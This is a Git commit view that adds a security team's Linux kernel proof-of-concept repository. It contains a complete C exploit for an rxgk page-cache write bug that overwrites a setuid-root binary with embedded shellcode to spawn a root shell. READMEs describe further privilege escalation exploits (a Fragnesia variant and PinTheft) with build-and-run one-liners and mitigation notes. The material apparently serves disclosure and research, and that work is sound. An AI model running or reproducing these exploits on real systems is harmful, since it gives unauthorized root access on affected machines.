Merge branch 'v12-security:main' into main

This commit is contained in:
Grigoriy Kolbanov 2026-05-21 15:04:52 +03:00 committed by GitHub
commit 2cd6185be2
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
37 changed files with 5413 additions and 1 deletions

1
.gitignore vendored
View file

@ -1 +1,2 @@
**/.DS_Store
wip/

View file

@ -1,3 +1,5 @@
# pocs
we will release pocs in this repo
all bugs in this repo are responsibly disclosed

12
dirtydecrypt/README.md Normal file
View file

@ -0,0 +1,12 @@
# DirtyDecrypt / DirtyCBC
DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on [May 9, 2026](https://x.com/v12sec/status/2053029838995263854), but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline. It's a rxgk pagecache write due to missing COW guard in rxgk_decrypt_skb. See `poc.c` for more details.
DirtyDecrypt was discovered autonomously with [V12](https://v12.sh) by Aaron Esau of the [V12 security team](https://x.com/v12sec).
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
```
$ sha256sum ./poc.c
8054e424466ed2c353b94fb25643e17bef50b31be95038e1c700156357e2d74b ./poc.c
```

647
dirtydecrypt/poc.c Normal file
View file

@ -0,0 +1,647 @@
/*
* rxgk pagecache write PoC for missing COW guard in rxgk_decrypt_skb()
*
* net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
* crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template
* (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb
* frag pages are pagecache pages (via splice MSG_SPLICE_PAGES loopback),
* the in-place decrypt corrupts the page cache.
*
* The same pattern exists in rxkad (rxkad_verify_packet_2).
*
* Exploitation uses a sliding-window technique to write arbitrary bytes to the
* pagecache one at a time. Each round fires a spliced rxgk packet at offset
* S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly
* random (1/256 chance of the target value). Round i+1 at offset S+i+1
* overwrites the 15 bytes of collateral from round i, but never touches the
* byte set by round i. This yields byte-granularity writes at ~256 fires per
* byte.
*
* Attack: rewrite /etc/passwd root entry empty password su root flag.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#ifdef __has_include
# if __has_include(<linux/rxrpc.h>)
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
# else
# define NEED_RXRPC_DEFS
# endif
#else
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
#endif
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifdef NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY 1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT 2
#define RXRPC_USER_CALL_ID 1
struct sockaddr_rxrpc {
unsigned short srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
unsigned short family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
#endif
#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS 17
#define AES_KEY_LEN 16
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET 0x04
#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
/* --- helpers --- */
static long key_add(const char *type, const char *desc,
const void *payload, size_t plen, int ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
/* --- user/net namespace --- */
static void setup_ns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
if (unshare(CLONE_NEWNET) < 0) {
perror("unshare");
exit(1);
}
} else {
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", gid);
write_proc("/proc/self/gid_map", map);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr = {};
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
}
}
/* --- rxgk XDR token construction --- */
static void xdr_put32(uint8_t **pp, uint32_t val)
{
uint32_t nv = htonl(val);
memcpy(*pp, &nv, 4);
*pp += 4;
}
static void xdr_put64(uint8_t **pp, uint64_t val)
{
xdr_put32(pp, (uint32_t)(val >> 32));
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
xdr_put32(pp, (uint32_t)len);
memcpy(*pp, data, len);
*pp += len;
size_t pad = (4 - (len & 3)) & 3;
if (pad) { memset(*pp, 0, pad); *pp += pad; }
}
static int build_rxgk_token(uint8_t *out, size_t maxlen,
const uint8_t *base_key, size_t keylen)
{
uint8_t *p = out;
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
(uint64_t)ts.tv_nsec / 100ULL;
xdr_put32(&p, 0); /* flags */
xdr_put_data(&p, "poc.test", 8); /* cell */
xdr_put32(&p, 1); /* ntoken */
uint8_t tok[512];
uint8_t *tp = tok;
xdr_put32(&tp, RXGK_SECURITY_INDEX);
xdr_put64(&tp, now); /* begintime */
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
xdr_put64(&tp, 2); /* level = ENCRYPT */
xdr_put64(&tp, 864000000000ULL); /* lifetime */
xdr_put64(&tp, 0); /* bytelife */
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
xdr_put_data(&tp, base_key, keylen); /* key */
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
xdr_put_data(&tp, ticket, sizeof(ticket));
size_t toklen = (size_t)(tp - tok);
xdr_put32(&p, (uint32_t)toklen);
memcpy(p, tok, toklen);
p += toklen;
if ((size_t)(p - out) > maxlen) return -1;
return (int)(p - out);
}
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
uint8_t buf[1024];
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
if (n < 0) return -1;
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}
/* --- AF_RXRPC client + fake UDP server --- */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) return -1;
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
close(fd); return -1;
}
int min_level = RXRPC_SECURITY_ENCRYPT;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&min_level, sizeof(min_level)) < 0) {
close(fd); return -1;
}
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
close(fd); return -1;
}
return fd;
}
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
char data[] = "TESTDATA";
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = service_id;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = {0};
msg.msg_name = &srx;
msg.msg_namelen = sizeof(srx);
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf;
msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
int fl = fcntl(cli_fd, F_GETFL);
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(cli_fd, &msg, 0);
fcntl(cli_fd, F_SETFL, fl);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
return -1;
return 0;
}
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = htonl(0x7F000001),
};
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
static ssize_t udp_recv(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}
/*
* Fire one splice-based pagecache corruption at the given file offset.
* Sets up an rxgk connection with the provided key, completes the handshake
* via a fake UDP server on loopback, then splices pagecache pages into a
* forged DATA packet. The kernel's in-place decrypt corrupts the pagecache.
*
* Returns 1 on fire, -1 on setup error.
*/
static int trigger_seq = 0;
static int fire(int target_fd, off_t splice_off, size_t splice_len,
const uint8_t *base_key, size_t keylen)
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);
long key = add_rxgk_key(keyname, base_key, keylen);
if (key < 0) return -1;
/* Use high-entropy ports to avoid TIME_WAIT collisions */
uint16_t port_S = 10000 + (rand() % 27000) * 2;
uint16_t port_C = port_S + 1;
int ret = -1;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) goto out_key;
int cli = setup_rxrpc_client(port_C, keyname);
if (cli < 0) goto out_udp;
if (initiate_call(cli, port_S, 1234) < 0)
goto out_cli;
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
uint32_t epoch = ntohl(hdr->epoch);
uint32_t cid = ntohl(hdr->cid);
uint32_t callN = ntohl(hdr->callNumber);
uint16_t svc = ntohs(hdr->serviceId);
uint16_t cport = ntohs(cli_addr.sin_port);
/* send challenge */
{
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
memset(ch, 0, sizeof(ch));
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
c->epoch = htonl(epoch);
c->cid = htonl(cid);
c->serial = htonl(0x10000);
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
c->securityIndex = RXGK_SECURITY_INDEX;
c->serviceId = htons(svc);
for (int i = 0; i < 20; i++)
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
struct sockaddr_in to = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
sendto(udp_srv, ch, sizeof(ch), 0,
(struct sockaddr *)&to, sizeof(to));
}
/* drain response(s) */
for (int i = 0; i < 3; i++) {
struct sockaddr_in src;
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
}
/* forge DATA packet: wire header from userspace, payload from pagecache */
struct rxrpc_wire_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = RXGK_SECURITY_INDEX;
mal.serviceId = htons(svc);
struct sockaddr_in dst = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
goto out_cli;
int p[2];
if (pipe(p) < 0) goto out_cli;
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &viv, 1, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
close(p[0]); close(p[1]);
usleep(1000);
/* drain the error from the client socket (HMAC check fails as expected) */
int fl = fcntl(cli, F_GETFL);
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
for (int i = 0; i < 2; i++) {
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
struct msghdr m = {0};
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
recvmsg(cli, &m, 0);
}
ret = 1;
out_cli:
close(cli);
out_udp:
close(udp_srv);
out_key:
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
return ret;
}
/* --- sliding window write with progress display --- */
static void progress(int done, int total, int fires)
{
int width = 40;
int filled = total ? (done * width / total) : 0;
int pct = total ? (done * 100 / total) : 0;
fprintf(stderr, "\r [");
for (int j = 0; j < width; j++)
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
if (done == total) fputc('\n', stderr);
fflush(stderr);
}
static int pagecache_write(int rfd, void *map, off_t base,
const uint8_t *target, int len, off_t file_size,
const char *label)
{
uint8_t key[16];
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
struct timespec t0;
clock_gettime(CLOCK_MONOTONIC, &t0);
int total = 0;
int max_off = (int)(file_size - 28);
if (base + len - 1 > max_off)
len = max_off - (int)base + 1;
/* Find first byte that differs. We must write everything from there
* onward, because each round's 15-byte damage zone corrupts the next
* bytes even if they originally matched. */
int start = 0;
for (int i = 0; i < len; i++) {
uint8_t cur;
pread(rfd, &cur, 1, base + i);
if (cur != target[i]) { start = i; break; }
if (i == len - 1) {
LOG("pagecache already matches, skipping write");
return 0;
}
}
int need = len - start;
LOG("writing shellcode to %s (%d bytes from offset %d)",
label, need, (int)base + start);
progress(0, need, 0);
for (int i = start; i < len; i++) {
off_t off = base + i;
uint8_t want = target[i];
uint8_t cur;
pread(rfd, &cur, 1, off);
if (cur == want && i > start) {
/* Byte matches AND we haven't just written (no damage pending).
* This only happens for the first byte after start, which is
* impossible since start IS the first diff. After that, each
* round's damage means we always write. Just be safe: */
continue;
}
int ok = 0;
for (int att = 0; att < 10000; att++) {
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
uint64_t r = seed;
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
memcpy(key, &r, 8);
memcpy(key + 8, &seed, 8);
size_t slen = 28;
if (off + (off_t)slen > file_size) slen = file_size - off;
if (slen < 16) slen = 16;
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
total++;
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
ok = 1;
progress(i - start + 1, need, total);
break;
}
}
if (!ok) {
fprintf(stderr, "\n");
ERR("byte %d/%d failed", i - start + 1, need);
return -1;
}
}
struct timespec t1;
clock_gettime(CLOCK_MONOTONIC, &t1);
double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
LOG("%d fires in %.1fs", total, dt);
return 0;
}
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
* Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64).
* PT_LOAD covers 120 bytes; the 15-byte sliding-window damage
* tail at offset 120+ is past the loadable segment. */
static const uint8_t tiny_elf[] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
0xb0,0x69,0x0f,0x05, /* setuid(0) */
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */
0x6a,0x3b,0x58, /* push 59; pop rax */
0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */
};
/* --- main --- */
int main(int argc, char **argv)
{
(void)argc; (void)argv;
srand(time(NULL) ^ getpid());
fprintf(stderr, "\n=== rxgk pagecache write ===\n");
fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid());
/* Target: any setuid-root binary readable by us. */
const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount",
"/usr/bin/passwd", "/usr/bin/chsh", NULL };
const char *target_path = NULL;
for (int i = 0; targets[i]; i++) {
struct stat sb;
if (stat(targets[i], &sb) == 0 &&
(sb.st_mode & S_ISUID) &&
sb.st_uid == 0 &&
access(targets[i], R_OK) == 0) {
target_path = targets[i];
break;
}
}
if (!target_path) { ERR("no readable setuid-root binary found"); return 1; }
/* Back up the target binary so the root shell can restore it. */
char backup[256];
const char *base = strrchr(target_path, '/');
base = base ? base + 1 : target_path;
snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid());
{
int src = open(target_path, O_RDONLY);
int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (src >= 0 && dst >= 0) {
char buf[4096];
ssize_t n;
while ((n = read(src, buf, sizeof(buf))) > 0)
write(dst, buf, n);
}
if (src >= 0) close(src);
if (dst >= 0) close(dst);
}
int rfd = open(target_path, O_RDONLY);
if (rfd < 0) { perror(target_path); return 1; }
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
if (map == MAP_FAILED) { perror("mmap"); return 1; }
pid_t pid = fork();
if (pid < 0) { perror("fork"); return 1; }
if (pid == 0) {
setup_ns();
usleep(10000);
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); }
close(sock);
struct stat sb;
fstat(rfd, &sb);
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0);
}
int st;
waitpid(pid, &st, 0);
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
ERR("corruption failed (status 0x%x)", st);
unlink(backup);
return 1;
}
munmap(map, 4096);
close(rfd);
LOG("exec %s", target_path);
LOG("restore: cp %s %s", backup, target_path);
fflush(stderr);
execlp(target_path, target_path, (char *)NULL);
perror(target_path);
return 1;
}

View file

@ -0,0 +1,14 @@
CC ?= gcc
CFLAGS := -O2 -Wall -Wextra -std=gnu11
LDFLAGS := -static
BIN := skb_segment_exploit
all: $(BIN)
$(BIN): skb_segment_exploit.c
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $<
clean:
rm -f $(BIN)
.PHONY: all clean

View file

@ -0,0 +1,33 @@
# fragnesia-5db89c99566fc
This is a variant of our [Fragnesia](../fragnesia/README.md) bug (CVE-2026-46300) that bypasses the merged fix (commit f84eca581739) by exploiting a separate path that remains unpatched in both mainline and the netdev `net` tree as of 2026-05-15 18:00 UTC.
The bug is in `skb_segment()` in `net/core/skbuff.c`. When building GSO segments from an skb that has a `frag_list`, the function propagates `SKBFL_SHARED_FRAG` only from the head skb. If a frag_list member carries page-cache-backed frags with the flag set but the head does not, the resulting segment skbs lose the marker. This lets them pass the `skip_cow` guard in `esp_input()` and get decrypted in place over page-cache pages, same primitive as the original Dirty Frag and Fragnesia exploits.
Triggering it requires three network namespaces connected by veth pairs. The sender does a normal `send()` followed by `splice()` on the same TCP connection. GRO on the forwarding hop coalesces the two into a single skb where the `send()` segment becomes the head (no flag) and the `splice()` segment goes into the frag_list (flag set). The forwarder has GSO disabled on its egress veth, so `skb_segment()` fires and strips the flag. The segments then reach an espintcp receiver that decrypts in place. The GRO coalescing step requires both segments to arrive in the same NAPI poll cycle, which is reliable with back-to-back sends but not fully deterministic, so the exploit retries on failure. The rest of the exploitation is identical to Fragnesia: AES-GCM keystream control gives a deterministic one-byte page-cache write per trigger, and the exploit iterates over a small ELF payload to overwrite a SUID binary.
We have reported this to the relevant parties. There is a pending patch (not currently accepted or merged) on the netdev list that would incidentally help prevent this by propagating the flag earlier in the GRO path, though it was not written to address this bug specifically, and no patch currently proposed fixes the root cause in `skb_segment()` itself.
## Building and running
```
make
sudo modprobe esp4
./skb_segment_exploit
```
It auto-discovers a suitable SUID-root binary, backs it up to `/tmp`, and prints a restore command before launching the root shell. The page-cache corruption is not written to disk. To restore normal operation without rebooting:
```
echo 1 | sudo tee /proc/sys/vm/drop_caches
```
Ubuntu users need to disable the AppArmor userns restriction first. See the [Fragnesia README](../fragnesia/README.md) for details.
## Mitigation
Same mitigation as Fragnesia and Dirty Frag. See [the Fragnesia README](../fragnesia/README.md) for instructions. Blacklisting `esp4`, `esp6`, and `rxrpc` blocks the attack surface.
## Credit
Found with [V12](https://v12.sh) by the V12 team.

File diff suppressed because it is too large Load diff

View file

@ -8,7 +8,7 @@
https://github.com/user-attachments/assets/d8cdf3ad-2874-4a92-9a2e-46ae6e9a6761
Fragnesia is a universal Linux local privilege escalation exploit, discovered with [V12](https://v12.sh) by [William Bowling](https://x.com/wcbowling?lang=en) with the [V12 team](https://x.com/v12sec). Fragnesia is a member of the [Dirty Frag](https://github.com/V4bel/dirtyfrag) vulnerability class. This is a **separate bug** in the ESP/XFRM from dirtyfrag which has received [its own patch](https://lists.openwall.net/netdev/2026/05/13/79). However, it is in the same surface and the mitigation is the same as for dirtyfrag.
Fragnesia (CVE-2026-46300) is a universal Linux local privilege escalation exploit, discovered with [V12](https://v12.sh) by [William Bowling](https://x.com/wcbowling?lang=en) with the [V12 team](https://x.com/v12sec). Fragnesia is a member of the [Dirty Frag](https://github.com/V4bel/dirtyfrag) vulnerability class. This is a **separate bug** in the ESP/XFRM from dirtyfrag which has received [its own patch](https://lists.openwall.net/netdev/2026/05/13/79). However, it is in the same surface and the mitigation is the same as for dirtyfrag. Fragnesia received CVSS score of [7.8](https://access.redhat.com/security/cve/cve-2026-46300).
It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to achieve arbitrary byte writes into the kernel page cache of read-only files, without requiring any race condition.

164
pintheft/README.md Normal file
View file

@ -0,0 +1,164 @@
# PinTheft
https://github.com/user-attachments/assets/5d411fb7-24c3-49d6-b8f7-ae73f80300a9
## Abstract
PinTheft is a Linux local privilege escalation exploit for an RDS zerocopy
double-free that can be turned into a page-cache overwrite through `io_uring`
fixed buffers.
PinTheft was discovered with [V12](https://v12.sh) by Aaron Esau of the
[V12 security team](https://x.com/v12sec). We duped on this bug with some other teams
and a [patch](https://lore.kernel.org/netdev/20260505234336.2132721-1-achender@kernel.org/) is available
so we are releasing our PoC.
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
The bug lived in the RDS zerocopy send path. `rds_message_zcopy_from_user()`
pins user pages one at a time. If a later page faults, the error path drops the
pages it already pinned, and later RDS message cleanup drops them again because
the scatterlist entries and entry count remain live after the zcopy notifier is
cleared. Each failed zerocopy send can steal one reference from the first page.
The PoC uses `io_uring` to make that refcount bug useful. It registers an
anonymous page as a fixed buffer, giving the page a `FOLL_PIN` bias of 1024
references. It then steals those references with failing RDS zerocopy sends,
frees the page, reclaims it as page cache for a SUID-root binary, and uses the
stale `io_uring` fixed-buffer page pointer to overwrite that page cache with a
small ELF payload. Executing the SUID binary drops into a root shell.
Sadly, the RDS kernel module this requires is only default on Arch Linux among
the common distributions we tested.
## "PinTheft"?
Because the exploit steals `FOLL_PIN` references until `io_uring` is left
holding a stolen page pointer.
## Exploitation
```
cd pintheft && gcc exp poc.c && ./exp
```
One-line version:
```
git clone https://github.com/v12-security/pocs.git && cd pocs/pintheft && gcc -o exp poc.c && ./exp
```
## Requirements
PinTheft requires:
- `CONFIG_RDS`
- `CONFIG_RDS_TCP`
- `CONFIG_IO_URING`
- `io_uring_disabled=0`
- a readable SUID-root binary
- x86_64 for the included payload
The technique is architecture-independent, but the embedded shell ELF in
`poc.c` is x86_64.
The exploit asks RDS for TCP transport with `SO_RDS_TRANSPORT=2`, which can
autoload `rds_tcp` on systems where the module exists and module autoloading is
allowed.
## Cleanup Warning
PinTheft modifies the target SUID binary's page cache. The on-disk binary is
backed up before exploitation and the exploit prints a restore command before
executing the corrupted target:
```
sudo cp /tmp/.backup_<name>_<pid> <target> && sudo chmod u+s <target>
```
If you are testing on a disposable machine, rebooting or dropping caches also
clears the in-memory page-cache overwrite. Do not leave the machine in a state
where common SUID programs such as `su`, `mount`, or `passwd` execute the
payload from cache.
## How It Works
1. **Target selection.** The PoC searches for a readable SUID-root binary,
preferring paths such as `/usr/bin/su`, `/bin/su`, `/usr/bin/mount`,
`/usr/bin/passwd`, and `/usr/bin/pkexec`.
2. **Safety backup.** The selected target is copied to `/tmp/.backup_<name>_<pid>`
before exploitation.
3. **Page setup.** The exploit pins itself to CPU 0, maps two pages, touches the
first page, and marks the second page `PROT_NONE` so a two-page RDS zcopy
send will fault after the first page has already been pinned.
4. **Fixed-buffer registration.** The first page is registered with `io_uring`
through `IORING_REGISTER_BUFFERS`. This pins the page with
`GUP_PIN_COUNTING_BIAS`, adding 1024 references.
5. **Clone-buffer hold.** The fixed buffer is cloned into a second `io_uring`
instance with `IORING_REGISTER_CLONE_BUFFERS`. A daemon child keeps that
second ring fd open so `io_buffer_unmap()` does not later unpin the buffer
and corrupt whatever page has been reclaimed into the freed frame.
6. **Reference theft.** The exploit performs 1024 failing RDS zerocopy sends.
Each send pins the first page, faults on the guard page, and then double-drops
the first page during the RDS error cleanup path. This consumes the 1024
`FOLL_PIN` references while `io_uring` still retains the raw `struct page *`.
7. **Clean free.** The selected SUID binary's first page is evicted from page
cache. The exploit drains the per-CPU page list, then unmaps the user page.
Because the remaining reference is the normal mapping reference, the free
path clears memcg state cleanly before returning the page to the allocator.
8. **Page-cache reclaim.** Reading the SUID binary immediately after the free
causes page cache allocation to reuse the just-freed page. The stale
`io_uring` fixed-buffer entry now points at a live page-cache page.
9. **Dangling fixed-buffer write.** The exploit creates a temporary payload file
and submits `IORING_OP_READ_FIXED`. The kernel reads payload bytes into the
registered fixed buffer, but that fixed buffer's `struct page *` now refers
to the SUID binary's page cache.
10. **Verification and execution.** The PoC verifies that the SUID binary's
first cached bytes match the embedded ELF payload, destroys the first ring,
and execs the target to obtain a root shell.
## Affected Code Paths
The PoC targets the RDS zerocopy send path and depends on TCP transport:
- `rds_message_zcopy_from_user()`
- RDS zerocopy error cleanup
- RDS message purge cleanup
- `SO_RDS_TRANSPORT=RDS_TRANS_TCP`
The exploitation primitive also depends on `io_uring` fixed-buffer behavior,
specifically registered buffers retaining raw page references and cloned buffer
state delaying unpin cleanup.
## Affected Versions
The PoC was written for kernels with RDS, RDS TCP, and `io_uring` enabled. It
also handles kernels with `CONFIG_INIT_ON_ALLOC_DEFAULT_ON` by arranging for the
